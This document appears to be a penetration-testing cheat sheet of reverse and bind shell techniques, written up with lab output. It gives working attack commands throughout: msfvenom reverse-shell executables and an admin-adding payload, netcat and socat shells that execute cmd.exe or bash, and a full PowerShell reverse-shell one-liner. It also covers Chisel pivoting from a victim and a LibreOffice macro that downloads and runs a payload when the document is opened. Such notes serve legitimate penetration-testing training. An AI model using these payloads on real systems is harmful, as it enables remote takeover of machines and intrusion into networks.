Reverse/Bind Shells

Shell Generator

You can get a shell easily from here: https://www.revshells.com/

Upgrading a Non-Interactive Shell

python -c 'import pty; pty.spawn("/bin/bash");'
[Ctrl + Z]
stty raw -echo; fg

Msfvenom

Windows 10 x64 reverse shell with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o shell_53.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=443 -f exe -o shell_443.exe

Using msfvenom to execute a specific command:

msfvenom -p windows/exec CMD="net localgroup administrators <USERNAME_TO_ADD> /add" -f exe -o file.exe

Run process without spawn new window and loose non-TTY shell:

> start-process -nonewwindow -filepath ./shell.exe

Netcat Bind Shell

Windows / Setup bind shell:

C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.11.0.22
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.11.0.1

C:\Users\offsec> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...

Kali / Calling bind shell:

kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.11.0.22

Netcat Reverse Shell

Windows:

C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 ...

Kali:

kali@kali:~$ ip address show eth0 | grep inet
          inet 10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0
          
kali@kali:~$ nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open

The connection is received by Netcat on the Windows machine as shown below:

C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482

ip address show eth0 | grep inet
          inet 10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0

Socat Reverse Shell

Listen:

C:\Users\offsec> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443

Connect:

kali@kali:~$ socat TCP4:10.11.0.22:443 EXEC:/bin/bash

Socat Encrypted Bind Shell

Generating SSL certificate:

kali@kali:~$ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt

Creating .pem file:

kali@kali:~$ cat bind_shell.key bind_shell.crt > bind_shell.pem

Listen:

kali@kali:~$ sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

Connect:

C:\Users\offsec> socat - OPENSSL:10.11.0.4:443,verify=0
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

Chisel

How it works: https://ap3x.github.io/posts/pivoting-with-chisel/

Download it from here:

Releases · jpillora/chiselGitHub

Reverse pivot:

./chisel server -p 9002 -reverse -v #On Kali
./chisel client <RHOST>:9002 R:9003:127.0.0.1:8888 #On victim machine

SOCKS5 / Proxychains Configuration:

./chisel server -p 9002 -reverse -v #On Kali
./chisel client <RHOST>:9002 R:socks #On victim machine

PowerShell Reverse Shell

Listen:

kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...

Connect:

C:\Users\offsec> powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Result:

kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 63515

PS C:\Users\offsec>

PHP Reverse Shell

A php reverse shell from pentest monkey:

https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.phpraw.githubusercontent.com

LibreOffice

If you can upload an ODT LibreOffice file and execute it you can insert a macro inside it, as follow.

First insert the reverse shell payload for Windows inside a reverse.ps1 file:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

We can create a new basic macro and save it:

ODT Macro

The ODT Macro content is the following:

Sub Main
    Shell("cmd /c certutil -urlcache -split -f http://<kali_ip>:80/shell_80.exe C:\\Windows\\Tasks\\shell_80.exe")
    Shell("cmd /c C:\Windows\Tasks\shell_80.exe")
End Sub

Now link it to the “Open Document” event. Under Tools -> Customize -> Events.

Save. Start a netcat listener and a python web server and upload the odt file. Get the shell back.